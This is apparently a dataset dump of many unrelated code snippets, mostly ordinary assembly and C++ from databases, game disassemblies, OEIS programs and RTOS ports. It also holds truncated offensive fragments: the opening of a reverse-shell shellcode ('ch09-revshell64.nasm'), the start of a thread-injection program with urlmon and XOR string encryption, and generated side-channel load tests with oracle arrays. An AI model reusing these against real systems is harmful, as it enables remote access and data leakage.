text stringlengths 1 1.05M |
|---|
//---------------------------------------------------------------------------
// Greenplum Database
// Copyright (C) 2012 EMC Corp.
//
// @filename:
// CParseHandlerStatsBound.cpp
//
// @doc:
//
// Implementation of the SAX parse handler class for parsing
// the bounds of the bucket
//--------------------------... |
#include <gtest/gtest.h>
#include "folly/init/Init.h"
int main(int argc, char** argv) {
testing::InitGoogleTest(&argc, argv);
folly::init(&argc, &argv);
return RUN_ALL_TESTS();
}
|
SFX_Cry1A_2_Ch4:
dutycycle 240
unknownsfx0x20 6, 247, 64, 7
unknownsfx0x20 12, 230, 68, 7
unknownsfx0x20 6, 213, 80, 7
unknownsfx0x20 4, 195, 96, 7
unknownsfx0x20 3, 195, 128, 7
unknownsfx0x20 8, 209, 160, 7
endchannel
SFX_Cry1A_2_Ch5:
dutycycle 10
unknownsfx0x20 6, 199, 1, 7
unknownsfx0x20 11, 182, 2, 7
... |
;********************************************************************************************************
; uC/CPU
; CPU CONFIGURATION & PORT LAYER
;
; (c) Copyright 2004-2016; Micrium, Inc.; Weston, FL
;
; ... |
%include "macros/patch.inc"
%include "macros/datatypes.inc"
%include "TiberianSun.inc"
; When a unit is produced by the AI, the AI tells it to move on a random
; location on its base. This happens properly for barracks and vehicle factories
; with WeaponsFactory=yes, and while there is code for it, most of the time it... |
;------------------------------------------------------------------------------
;
; MemoryFence() for AArch64
;
; Copyright (c) 2013, ARM Ltd. All rights reserved.
;
; This program and the accompanying materials
; are licensed and made available under the terms and conditions of the BSD License
; which accompanies this... |
; void *z80_otir(void *src, uint8_t port, uint8_t num)
SECTION code_clib
SECTION code_z80
PUBLIC z80_otir
EXTERN asm_z80_otir
z80_otir:
pop af
pop de
pop bc
pop hl
push hl
push bc
push de
push af
ld b,e
jp asm_z80_otir
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r13
push %r8
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_UC_ht+0xa4fa, %rsi
nop
nop
nop
nop
nop
sub %rbp, %rbp
movw $0x6162, (%rsi)
nop
nop
nop
nop
nop
sub %r12, %r12
lea addresses_WT_ht+0x101a, %rsi
lea addresses_WT_ht+0x1457a, %rdi
nop
n... |
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) Berkeley Softworks 1989 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: PostScript Translation Library
FILE: exportTables.asm
AUTHOR: Jim DeFrisco, 21 Feb 1991
REVISION HISTORY:
Name Date Description
--... |
//==============================================================================
// Copyright 2003 - 2011 LASMEA UMR 6602 CNRS/Univ. Clermont II
// Copyright 2009 - 2011 LRI UMR 8623 CNRS/Univ Paris Sud XI
//
// Distributed under the Boost Software License, Version 1.0.
// ... |
#include <simplecpp>
#include <sstream>
#include "utils.cpp"
const Vector2d CENTER_OF_BOARD(550, 350);
const Vector2d POCKET1_POSITION(310, 110);
const Vector2d POCKET2_POSITION(790, 110);
const Vector2d POCKET3_POSITION(310, 590);
const Vector2d POCKET4_POSITION(790, 590);
const Vector2d YES_BTN_POSITION(500, 740);... |
SECTION .text
GLOBAL square_poly1305
square_poly1305:
sub rsp, 0x30 ; last 0x30 (6) for Caller - save regs
mov [ rsp + 0x0 ], rbx; saving to stack
mov [ rsp + 0x8 ], rbp; saving to stack
mov [ rsp + 0x10 ], r12; saving to stack
mov [ rsp + 0x18 ], r13; saving to stack
mov [ rsp + 0x20 ], r14; saving to stack
mov [ rs... |
// Implementation of synchronization functions for ARM architecture
//
// Copyright (c) 2012-2015, ARM Limited. All rights reserved.
// Copyright (c) 2015, Linaro Limited. All rights reserved.
//
// This program and the accompanying materials
// are licensed and made available under the terms and conditions ... |
; A315728: Coordination sequence Gal.6.342.6 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings.
; Submitted by Simon Strandgaard
; 1,6,12,18,22,26,32,36,40,46,52,58,64,70,76,80,84,90,94,98,104,110,116,122,128,134,138,142,148,152,156,162,1... |
; ===============================================================
; Dec 2013
; ===============================================================
;
; int strncasecmp(const char *s1, const char *s2, size_t n)
;
; Perform caseless compare of string s1 to string s2, examining
; no more than n chars. Return when the first ... |
; A227109: Numerators of harmonic mean H(n, 5), n >= 0.
; 0,5,20,15,40,5,60,35,80,45,20,55,120,65,140,15,160,85,180,95,8,105,220,115,240,25,260,135,280,145,60,155,320,165,340,35,360,185,380,195,80,205,420,215,440,9,460,235,480,245,100,255,520,265,540,55,560
mov $1,5
add $1,$0
mul $0,10
gcd $1,$0
div $0,$1
|
; sheduling.asm
; Platform dependent helper functions for sheduling and multitasking
;
; +8 +12 +16
; void enter_usermode(registers_t* reg, unsigned int location, unsigned int userstack);
global thread_enterUsermode
thread_enterUsermode:
push ebp
mo... |
.global s_prepare_buffers
s_prepare_buffers:
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r14
push %rax
push %rbp
push %rbx
push %rcx
push %rsi
// Load
lea addresses_D+0x6c60, %rcx
nop
inc %rbx
mov (%rcx), %r14
add %rcx, %rcx
// Load
lea addresses_PSE+0x13340, %rax
nop
cmp %rbp, %rbp
movntdqa (%rax),... |
//
// Created by Matúš Cimerman on 05/04/2017.
//
#include <iostream>
#include <opencv2/core.hpp>
#include <opencv2/imgproc.hpp>
#include <opencv/cv.hpp>
namespace Operations {
int MAX_THRESHOLD = 255, THRESHOLD = 0;
void preprocessImage(cv::Mat &imgSrc, cv::Mat &imgDst, bool showImg) {
cv::Mat imgT... |
; A021694: Expansion of 1/((1-x)(1-3x)(1-9x)(1-11x)).
; Submitted by Jon Maiga
; 1,24,394,5544,71995,891408,10701748,125788848,1456313749,16673208552,189289198462,2135136588312,23963101915663,267883518461856,2985323286760936,33185997429018336,368172943255604137,4078045119832977720,45111781014935875570,49850915343699610... |
; A209529: Half the number of (n+1)X(n+1) 0..2 arrays with every 2X2 subblock having exactly two distinct clockwise edge differences
; 5,25,257,6145,262145,25165825,4294967297,1649267441665,1125899906842625,1729382256910270465,4722366482869645213697,29014219670751100192948225,316912650057057350374175801345,778844528780... |
/**
* Create a class Box containing length, breadth and
* height. Include the following methods in it:
* (a) Calculate Surface Area
* (b) Calculate Volume
* (c) Overload + operator (to add two boxes
* length, breadth and height)
* (d) Overload operator = = (to check equality of
* ... |
int next_n(int n){
int r = 0;
int ans = n;
int d = 0;
while(ans != 0){
d = ans % 10;
ans = ans / 10;
r += d*d;
}
return r;
}
bool contain(int* history, int size, int n){
for(int i=0;i<=size;i++){
if(history[i]==n){
return true;
... |
/*
* Copyright (c) 2019 Autoware Foundation, AutonomouStuff
* All rights reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file
* except in compliance with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*/
... |
/**
* Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.
* SPDX-License-Identifier: Apache-2.0.
*/
#include <aws/kinesisvideo/model/CreateSignalingChannelResult.h>
#include <aws/core/utils/json/JsonSerializer.h>
#include <aws/core/AmazonWebServiceResult.h>
#include <aws/core/utils/StringUtils.h>
#i... |
; A007531: a(n) = n*(n-1)*(n-2) (or n!/(n-3)!).
; 0,0,0,6,24,60,120,210,336,504,720,990,1320,1716,2184,2730,3360,4080,4896,5814,6840,7980,9240,10626,12144,13800,15600,17550,19656,21924,24360,26970,29760,32736,35904,39270,42840,46620,50616,54834,59280,63960,68880,74046,79464,85140,91080,97290,103776,110544,117600,124950... |
# test data
.data
cstrA: .asciiz "eve"
cstrB: .asciiz "hello"
.text
.globl threeMAIN
# a main for task 3
threeMAIN:
# check the length of the inputted c strings
la $a0, cstrA
jal STRLEN
la $a0, cstrB
jal STRLEN
# check if the inputted c strings are palindromes
la $a0, cstrA
jal isPalindrome
la $a0, cstrB
... |
%include "vid/sys_log.inc"
%include "ozone.inc"
%include "process.inc"
struc buf_file
.fd: resb file_descriptor_size
.buf: resd 1 ; ptr to current buffer
.size: resd 1 ; size of current buffer
.cur: resd 1 ; current location within buffer
endstruc
global _start
_start:
mov edx, [ebx+process_info.stdout]... |
; Initialisation
In ; (0)
Mod 2 ; (1)
CMP 0 ; (2)
; Si la valeur entrée au clavier est paire, i.e. ZF=1
Load Mem[1] ; (3)
JZ 11 ; Alors -> suivre l'instr 11 (4)
; Sinon
Add Mem[2] ; On fait la somme des valeurs (5)
Store Mem[0] ; (6)
Load Mem[1] ; Puis le produit des valeurs (7)
Mul Mem[2] ; (8)
Store Mem[2] ; (9)
J... |
; A106539: a(1)=1, a(2)=1, a(n) = (n-1)*a(n-1) - (n-2)*a(n-2) - ... - a(1) for n>=3.
; Submitted by Jon Maiga
; 1,1,1,0,-6,-36,-192,-1104,-7248,-54816,-472512,-4573824,-49064448,-577130496,-7381281792,-101940854784,-1511556077568,-23945902043136,-403579232182272,-7209532170092544,-136064164749017088,-270503033767467417... |
; A104584: a(n) = (1/2) * ( 3*n^2 + n*(-1)^n ).
; 0,1,7,12,26,35,57,70,100,117,155,176,222,247,301,330,392,425,495,532,610,651,737,782,876,925,1027,1080,1190,1247,1365,1426,1552,1617,1751,1820,1962,2035,2185,2262,2420,2501,2667,2752,2926,3015,3197,3290,3480,3577,3775,3876,4082,4187,4401,4510,4732,4845,5075,5192,5430,55... |
; This file assigns ISR vector targets. This must be done in the client
; application so linker will observe these assignments, otherwise ISRs
; will not be linked.
.cdecls C,LIST, "wisp-base.h"
.sect ".int45" ; Timer0_A0 Vector
.short Timer0A0_ISR ; int53 = Timer0A0_ISR addr.
.sect ".int4... |
; A136210: Numerators in continued fraction [0; 1, 3, 1, 3, 1, 3,...].
; Submitted by Jamie Morken(s4)
; 1,3,4,15,19,72,91,345,436,1653,2089,7920,10009,37947,47956,181815,229771,871128,1100899,4173825,5274724,19997997,25272721,95816160,121088881,459082803,580171684,2199597855,2779769539,10538906472
add $0,1
mov $3,1
l... |
# Penny Ellard -- 9/7/97
# reverse.asm-- An Ant-8 program that reads a string from the user,
# then prints out the string in reverse order
# Registers used:
# r4 - hold characters as they are read in and printed out.
# r5 - address - used for conditional branches.
# r6 - address - used for conditional branches... |
; Spectravideo SVI CRT0 stub
;
; Stefano Bodrato - Apr. 2001
;
; $Id: svi_crt0.asm,v 1.20 2016-06-21 20:49:07 dom Exp $
;
MODULE svi_crt0
;
; Initially include the zcc_opt.def file to find out lots of lovely
; information about what we should do..
;
defc crt0 = 1
INCLUDE "zcc_opt.def"
INC... |
TITLE Ejercicio ejer4BL2
; Descripcion:
; Ejemplo de implementacion de operaciones logicas Booleanas.
; Optimizado manualmente.
;
INCLUDE \masm32\Irvine\Irvine32.inc
INCLUDELIB \masm32\Irvine\Irvine32.lib
INCLUDELIB \masm32\Irvine\User32.lib
INCLUDELIB \masm32\Irvine\Kernel32.lib
.DATA
; Textos para la... |
// Copyright 2019 The Fuchsia Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "gtest/gtest.h"
#include "interception_workflow_test.h"
namespace fidlcat {
// zx_fifo_create tests.
std::unique_ptr<SystemCallTest> ZxFifoCrea... |
; A273768: Partial sums of the number of active (ON,black) cells in n-th stage of growth of two-dimensional cellular automaton defined by "Rule 913", based on the 5-celled von Neumann neighborhood.
; 1,5,22,70,151,272,441,666,955,1316,1757,2286,2911,3640,4481,5442,6531,7756,9125,10646,12327,14176,16201,18410,20811,2341... |
sta {c1},x
|
;Testname=aout; Arguments=-faout -olnxhello.o -Ox; Files=stdout stderr lnxhello.o
;Testname=aoutb; Arguments=-faoutb -olnxhello.o -Ox; Files=stdout stderr lnxhello.o
;Testname=as86; Arguments=-fas86 -olnxhello.o -Ox; Files=stdout stderr lnxhello.o
;Testname=elf32; Arguments=-felf32 -olnxhello.o -Ox; Files=stdout st... |
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r14
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_A_ht+0x1d48f, %rdx
clflush (%rdx)
nop
nop
nop
nop
nop
inc %rsi
movw $0x6162, (%rdx)
and $8925, %rbx
lea addresses_WT_ht+0x53cf, %rsi
lea addresses_D_ht+0x1b07f, %rdi
nop
nop
xor %r10, %r10
mo... |
; A053369: Linear recursion with Catalan numbers.
; Submitted by Jamie Morken(s2)
; 2,9,32,115,420,1554,5808,21879,82940,316030,1209312,4644094,17889032,69089700,267444000,1037348415,4030774380,15687019590,61137753600,238580530650,932105099640,3645473785980,14271279927840,55918717024950,219283705045080,860564513057004,... |
#include <bits/stdc++.h>
using namespace std;
int size = 8;
int disk_size = 200;
// Function to perform C-LOOK on the request
// array starting from the given head
void CLOOK(int arr[], int head)
{
int seek_count = 0;
int distance, cur_track;
vector<int> left, right;
vector<int> seek_sequence;
// T... |
#include "SafeBuffer.h"
#include <exception>
#include <iostream>
safebuffer::safebuffer(unsigned long bufflen /*= DEFAULT_BUFFER_LEN*/)
: m_pbuffer(nullptr)
, m_bufferlen(bufflen)
, m_datalen(0)
, m_offset(0)
{
m_pbuffer = (char *)malloc(bufflen);
assert(m_pbuffer != nullptr);
memset(m_pbuffer, 0x00, bufflen);
}... |
; A016316: Expansion of 1/((1-2x)(1-8x)(1-9x)).
; Submitted by Jon Maiga
; 1,19,255,2975,32231,333759,3353335,32976175,319155111,3051352799,28893830615,271497720975,2535105456391,23548956856639,217804673719095,2007154559579375,18439691005140071,168959618797797279,1544655767192730775,14094055488835543375,128383728072328... |
/* ------------------------------------------------------------------
* Copyright (C) 1998-2009 PacketVideo
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.o... |
; A313873: Coordination sequence Gal.3.21.2 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings.
; 1,5,10,16,21,26,31,36,42,47,52,57,62,68,73,78,83,88,94,99,104,109,114,120,125,130,135,140,146,151,156,161,166,172,177,182,187,192,198,203,208... |
; Listing generated by Microsoft (R) Optimizing Compiler Version 19.00.23506.0
include listing.inc
INCLUDELIB MSVCRT
INCLUDELIB OLDNAMES
PUBLIC __local_stdio_printf_options
PUBLIC _vfprintf_l
PUBLIC printf
PUBLIC func
PUBLIC main
PUBLIC ??_C@_0N@NJAPOBLP@?$CFf?5?$CFf?5?$CFf?5?$CFs?6?$AA@ ; `string'
PUB... |
.size 8000
.text@48
ei
jp lstatint
.text@100
jp lbegin
.data@143
80
.text@150
lbegin:
ld c, 44
ld b, 90
lbegin_waitly90:
ldff a, (c)
cmp a, b
jrnz lbegin_waitly90
ld a, 11
ldff(40), a
ld hl, 8000
ld b, 08
lbegin_settile0data:
ld a, 00
ld(hl++), a
ld a, 7e
ld(hl++), a
dec b
jrnz lbegin_settile0dat... |
; A006501: Expansion of (1+x^2) / ( (1-x)^2 * (1-x^3)^2 ).
; 1,2,4,8,12,18,27,36,48,64,80,100,125,150,180,216,252,294,343,392,448,512,576,648,729,810,900,1000,1100,1210,1331,1452,1584,1728,1872,2028,2197,2366,2548,2744,2940,3150,3375,3600,3840,4096,4352,4624,4913,5202,5508,5832,6156,6498,6859,7220,7600,8000,8400,8820,9... |
; A060182: a(0) = 1, a(1) = 5, a(2) = 13; a(n) = 2*a(n-1) + 2, n > 2.
; 1,5,13,28,58,118,238,478,958,1918,3838,7678,15358,30718,61438,122878,245758,491518,983038,1966078,3932158,7864318,15728638,31457278,62914558,125829118,251658238,503316478,1006632958,2013265918,4026531838,8053063678,16106127358,32212254718,644245094... |
/* Copyright 2020 The TensorFlow Authors. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or a... |
; Disassembly of file: ckernel.o
; Wed Nov 2 23:38:48 2016
; Mode: 32 bits
; Syntax: YASM/NASM
; Instruction set: 80386
CMain: ; Function begin
push ebp ; 0000 _ 55
mov ebp, esp ; 0001 _ 89. E5
push esi ... |
// Copyright (c) 2009-2010 Satoshi Nakamoto
// Copyright (c) 2009-2017 The Bitcoin Core developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include <net_processing.h>
#include <addrman.h>
#include <arith_uint256.h>
#inc... |
; A228366: Toothpick sequence from a diagram of compositions of the positive integers (see Comments lines for definition).
; 0,2,6,8,15,17,21,23,35,37,41,43,50,52,56,58,79,81,85,87,94,96,100,102,114,116,120,122,129,131,135,137,175,177,181,183,190,192,196,198,210,212,216,218,225,227,231,233,254,256,260,262,269,271,275
... |
.global s_prepare_buffers
s_prepare_buffers:
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r14
push %r15
push %r8
push %rcx
// Faulty Load
lea addresses_UC+0xdb54, %r13
clflush (%r13)
nop
nop
nop
nop
nop
and $37037, %r8
movb (%r13), %cl
lea oracles, %r13
and $0xff, %rcx
shlq $12, %rcx
mov (%r13,%rcx,1)... |
;============================================================================
; Modified from the original to interoperate with CMIS as follows:
; - renamed OS_CPU_PendSVHandler to CMSIS-compatible name PendSV_Handler
;
; Quantum Leaps, LLC. www.state-machine.com
; 2015-03-23
;==========================================... |
;********************************************************************************************************
; uC/CPU
; CPU CONFIGURATION & PORT LAYER
;
; (c) Copyright 2004-2011; Micrium, Inc.; Weston, FL
;
; ... |
.586
.model flat, stdcall
option casemap:none
injected_thread proto
include inc\windows.inc
include inc\kernel32.inc
include inc\user32.inc
include inc\urlmon.inc
includelib lib\kernel32.lib
includelib lib\user32.lib
includelib lib\urlmon.lib
includelib lib\srt.lib
XOR_KEY = 90
crypt macro string
... |
/*
* Copyright (C) 2015 MongoDB Inc.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License, version 3,
* as published by the Free Software Foundation.
*
* This program is distributed in the hope that it will be usefu... |
FUNC LABEL 0
MOV REG 1 VAL 10
ADD REG 7 REG 1
RET
FUNC LABEL 1
PRINT VAL 3
|
Name: kart-init-p.asm
Type: file
Size: 56669
Last-Modified: '1992-11-18T01:34:03Z'
SHA-1: 789AD66EEC6D8E382A664500E90D88822CDEF72A
Description: null
|
SECTION code_stdio
PUBLIC __stdio_recv_input_raw_eat_ws
PUBLIC __stdio_recv_input_raw_eat_ws_repeat
EXTERN asm_isspace, __stdio_recv_input_raw_eatc
; ALL HIGH LEVEL STDIO INPUT PASSES THROUGH __STDIO_RECV_INPUT_RAW_*
; EXCEPT FOR VFSCANF. THIS ENSURES STREAM STATE IS CORRECTLY MAINTAINED
__stdio_recv_input_raw_ea... |
object_const_def ; object_event constants
const ROUTE36NATIONALPARKGATE_OFFICER1
const ROUTE36NATIONALPARKGATE_YOUNGSTER1
const ROUTE36NATIONALPARKGATE_YOUNGSTER2
const ROUTE36NATIONALPARKGATE_ROCKER
const ROUTE36NATIONALPARKGATE_POKEFAN_M
const ROUTE36NATIONALPARKGATE_YOUNGSTER3
const ROUTE36NATIONALPARKGATE_Y... |
DoClearSaveDialogue:
call ClearScreen
call RunDefaultPaletteCommand
call LoadFontTilePatterns
call LoadTextBoxTilePatterns
ld hl, ClearSaveDataText
call PrintText
hlcoord 14, 7
lb bc, 8, 15
ld a, NO_YES_MENU
ld [wTwoOptionMenuID], a
ld a, TWO_OPTION_MENU
ld [wTextBoxID], a
call DisplayTextBoxID
ld a, [wCu... |
; A110851: Weight enumerator of [64,63,2] Reed-Muller code RM(5,6).
; 1,2016,635376,74974368,4426165368,151473214816,3284214703056,47855699958816,488526937079580,3601688791018080,19619725782651120,80347448443237920,250649105469666120,601557853127198688,1118770292985239888,1620288010530347424,1832624140942590534,1620288... |
; A128501: a(n) = lcm{1 <= k <= n, gcd(k, 3) = 1}.
; Submitted by Christian Krause
; 1,1,2,2,4,20,20,140,280,280,280,3080,3080,40040,40040,40040,80080,1361360,1361360,25865840,25865840,25865840,25865840,594914320,594914320,2974571600,2974571600,2974571600,2974571600,86262576400
seq $0,3418 ; Least common multiple (or ... |
; A022350: Fibonacci sequence beginning 0, 16.
; 0,16,16,32,48,80,128,208,336,544,880,1424,2304,3728,6032,9760,15792,25552,41344,66896,108240,175136,283376,458512,741888,1200400,1942288,3142688,5084976,8227664,13312640,21540304,34852944,56393248,91246192,147639440,238885632,386525072,625410704,1011935776,1637346480,264... |
;--------------------------------
; ch09-revshell64.nasm
; by Michael Born (@blu3gl0w13)
; Date: 2019
;-------------------------------
global _start
section .text
_start:
; int socket(int domain, int type, int protocol)
xor rax, rax
mov al, 41
xor rdi, rdi
add dil, 0x2 ; domain = AF_INET
xor rsi, rsi
add... |
;
; Z88 Graphics Functions - Small C+ stubs
;
; Written around the Interlogic Standard Library
;
;
; $Id: w_clga_callee.asm $
;
;Usage: clga(struct *pixels)
SECTION code_graphics
PUBLIC clga_callee
PUBLIC _clga_callee
PUBLIC ASMDISP_CLGA_CALLEE
EXTERN w_area
EXTERN swapgfxbk
EXTERN __graph... |
; stdio_in_M, read EUI-48 / MAC-48 address in canonical form
; 07.2009 aralbrec
PUBLIC stdio_in_capm
EXTERN stdio_incommon1, asm_isxdigit, stdio_inexit, stdio_ungetchar
EXTERN stdio_getchar, stdio_atou_any_stream
; input %M parameter, read EUI-48 address in pairwise hex notation
;
; enter : ix = FILE *
; ... |
; int ungetc(int c, FILE *stream)
INCLUDE "config_private.inc"
SECTION code_clib
SECTION code_stdio
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
IF __CLIB_OPT_MULTITHREAD & $02
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
PUBLIC _ungetc
EXTERN asm_ungetc
_ungetc:
pop af
pop hl
pop ix
push hl
push hl
push af
jp ... |
; A160298: Numerator of Hermite(n, 29/30).
; Submitted by Christian Krause
; 1,29,391,-14761,-955919,-1151851,2117414071,64515005759,-4798919156639,-371422676274931,8664364972414951,1922668627437223079,12868783582225461841,-10009215864276466233211,-365549644020036472532969,52457120268360679565773199,3988716584917705897... |
; A025791: Expansion of 1/((1-x)(1-x^9)(1-x^10)).
; 1,1,1,1,1,1,1,1,1,2,3,3,3,3,3,3,3,3,4,5,6,6,6,6,6,6,6,7,8,9,10,10,10,10,10,10,11,12,13,14,15,15,15,15,15,16,17,18,19,20,21,21,21,21,22,23,24,25,26,27,28,28,28,29
mov $11,$0
mov $13,$0
add $13,1
lpb $13
clr $0,11
mov $0,$11
sub $13,1
sub $0,$13
add $0,3
mo... |
INCLUDE "constants.asm"
INCLUDE "macros/wram.asm"
INCLUDE "vram.asm"
SECTION "Stack", WRAM0
wStackBottom::
ds $100 - 1
wStack::
wStackTop::
ds 1
SECTION "Audio RAM", WRAM0
wMusic::
; nonzero if playing
wMusicPlaying:: db ; c100
wChannels::
wChannel1:: channel_struct wChannel1 ; c101
wChannel2:: channel_str... |
#include <iostream>
#include <iomanip>
#include <string>
#include <vector>
#include <map>
#include <set>
#include <stack>
#include <queue>
#include <algorithm>
#include <cmath>
#include <climits>
#include <math.h>
#include <bitset>
#define P pair
#define X first
#define Y second
#define VSORT(v) sort(v.begin(), v.end(... |
; A254378: Run lengths of A228495 (Characteristic function of the odd odious numbers).
; 1,1,5,1,3,1,1,1,5,1,1,1,3,1,5,1,3,1,1,1,3,1,5,1,1,1,5,1,3,1,1,1,5,1,1,1,3,1,5,1,1,1,5,1,3,1,1,1,3,1,5,1,3,1,1,1,5,1,1,1,3,1,5,1,3,1,1,1,3,1,5,1,1,1,5,1,3,1,1,1,3,1,5,1,3,1,1,1,5,1,1,1,3,1,5,1,1,1,5,1
mov $2,$0
mov $5,2
lpb $5
mo... |
BITS 32
;TEST_FILE_META_BEGIN
;TEST_TYPE=TEST_F
;TEST_IGNOREFLAGS=
;TEST_FILE_META_END
; Add32RR
xor eax, eax
inc eax
mov eax, 0x1
mov ebx, 0x2
;TEST_BEGIN_RECORDING
add eax, ebx
;TEST_END_RECORDING
|
; A285406: Log base 2 of denominator of Sum_{k=0..n^2-1}((-1)^k*sqrt(Pi)/(Gamma(1/2-k)*Gamma(1+k)))/n).
; 0,5,15,28,46,68,94,123,158,195,236,283,333,387,445,506,574,643,716,794,875,961,1054,1146,1244,1346,1451,1562,1676,1794,1916,2041,2174,2307,2444,2586,2731,2881,3034,3193,3356,3520,3690,3864,4041,4227,4413,4601,4796,... |
/* Generated by Cython 0.29.24 */
#ifndef PY_SSIZE_T_CLEAN
#define PY_SSIZE_T_CLEAN
#endif /* PY_SSIZE_T_CLEAN */
#include "Python.h"
#ifndef Py_PYTHON_H
#error Python headers needed to compile C extensions, please install development version of Python.
#elif PY_VERSION_HEX < 0x02060000 || (0x03000000 <= PY_VERSIO... |
; A021674: Expansion of 1/((1-x)(1-3x)(1-8x)(1-12x)).
; Submitted by Jamie Morken(s3)
; 1,24,397,5676,75529,966048,12071269,148688052,1814929057,22024557672,266258052541,3210803780028,38655303353785,464868906584496,5586469016901013,67101965327432004,805738280990712913,9672976948574496120,116108663996962613485,139356749... |
class Solution {
public:
bool isPossible(vector<int>& nums) {
map<int, int> lefts;
map<int, int> ends;
for(int num : nums) ++lefts[num];
for(int num : nums) {
if (lefts[num] == 0) continue;
--lefts[num];
if (ends[num - 1] > 0) {
--e... |
; A277419: a(n) = n!*LaguerreL(n, -5*n).
; Submitted by Jon Maiga
; 1,6,142,5676,318744,23046370,2038090320,213094791840,25714702990720,3517403388684030,537798502938028800,90890936781714193300,16825134146527678233600,3385560150770468257273050,735772370353606135149107200,171753027520961356975091493000,428588187500212516... |
// NativeLibrary.cpp : Defines the exported functions for the DLL application.
//
#include "stdafx.h"
#include "MethodHeader.h"
#include "NativeLibrary.h"
using namespace methodNamespace;
extern "C" NATIVELIBRARY_API void InteropTarget_string(char *inputText)
{
methodClass m;
m.stringMethod(inputText);
}
exter... |
/*
==============================================================================
This file contains the basic framework code for a JUCE plugin processor.
==============================================================================
*/
#include "PluginProcessor.h"
#include "PluginEditor.h"
constexpr float ... |
#include "WithdrawPage.h"
#include "ui_WithdrawPage.h"
#include "WithdrawInputWidget.h"
#include "WithdrawConfirmWidget.h"
#include "withdrawrecordwidget.h"
#include "wallet.h"
class WithdrawPage::WithdrawPagePrivate
{
public:
WithdrawPagePrivate(const WithdrawDataInput &data)
:address(data.accountAddress... |
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r15
push %rax
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0xca7c, %rax
nop
nop
add $5042, %rdi
mov $0x6162636465666768, %r15
movq %r15, %xmm2
vmovups %ymm2, (%rax)
nop
nop
inc %r10
lea addresses_WT_ht+0xa51c, %rsi
lea addresses_norma... |
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r13
push %r14
push %rax
push %rbx
push %rcx
push %rdi
lea addresses_WC_ht+0xae60, %r10
nop
sub $13190, %r14
mov $0x6162636465666768, %rbx
movq %rbx, (%r10)
and %r13, %r13
lea addresses_D_ht+0x17060, %rdi
nop
nop
nop
sub %rax, %rax
mov $0x6162636465666768, %rc... |
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r13
push %rax
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_D_ht+0x15d51, %rsi
lea addresses_WT_ht+0x7a79, %rdi
nop
nop
nop
nop
nop
and $52332, %rbp
mov $89, %rcx
rep movsw
cmp %r13, %r13
lea addresses_normal_ht+0x11c59, %rdx
xor %r12, %r12
... |
// Copyright © 2017-2020 Trust.
//
// This file is part of Trust. The full Trust copyright notice, including
// terms governing use, modification, and redistribution, is contained in the
// file LICENSE at the root of the source code distribution tree.
#include "Transaction.h"
#include <nlohmann/json.hpp>
#include "Ba... |
; A016277: Expansion of 1/((1-2x)(1-3x)(1-8x)).
; Submitted by Jon Maiga
; 1,13,123,1049,8603,69489,557971,4470073,35779755,286296065,2290543619,18324876297,146600596507,1172809538641,9382490625267,75059967983321,600479872875659,4803839370163617,38430716123046115
mov $1,1
mov $2,1
mov $3,2
lpb $0
sub $0,1
mul $1,8... |
; ---------------------------------------------------------------------------
; KOSINSKI DECOMPRESSION PROCEDURE
; (sometimes called KOZINSKI decompression)
;
; ARGUMENTS:
; a0 = source address
; a1 = destination address
;
; For format explanation see http://info.sonicretro.org/Kosinski_compression
; New faster version... |
OPTION DOTNAME
.text$ SEGMENT ALIGN(256) 'CODE'
ALIGN 16
_vpaes_encrypt_core PROC PRIVATE
mov r9,rdx
mov r11,16
mov eax,DWORD PTR[240+rdx]
movdqa xmm1,xmm9
movdqa xmm2,XMMWORD PTR[$L$k_ipt]
pandn xmm1,xmm0
movdqu xmm5,XMMWORD PTR[r9]
psrld xmm1,4
pand xmm0,xmm9
DB 102,15,56,0,208
movdqa xmm0... |
; A258993: Triangle read by rows: T(n,k) = binomial(n+k,n-k), k = 0..n-1.
; Submitted by Jamie Morken(s1.)
; 1,1,3,1,6,5,1,10,15,7,1,15,35,28,9,1,21,70,84,45,11,1,28,126,210,165,66,13,1,36,210,462,495,286,91,15,1,45,330,924,1287,1001,455,120,17,1,55,495,1716,3003,3003,1820,680,153,19,1,66,715,3003,6435,8008,6188,3060,9... |
.file "large_mergesort.c"
.section .tdata
REG_BANK:
.dword 0
.dword 0
.dword 0
.dword 0
.dword 0
.dword 0
.dword 0
.dword 0
.text
.align 2
.global merge
.type merge, %function
merge:
# stp x29, x30, [sp, -128]!
sd x8, -128(sp)
sd ra, -120(s... |
TITLE Trim Trailing Characters (Trim.asm)
; Test the Trim procedure. Trim removes trailing all
; occurences of a selected character from the end of
; a string.
; Last update: 11/24/01
INCLUDE Irvine32.inc
Str_trim PROTO,
pString:PTR BYTE, ; points to string
char:BYTE ; character to remove
Str_length... |
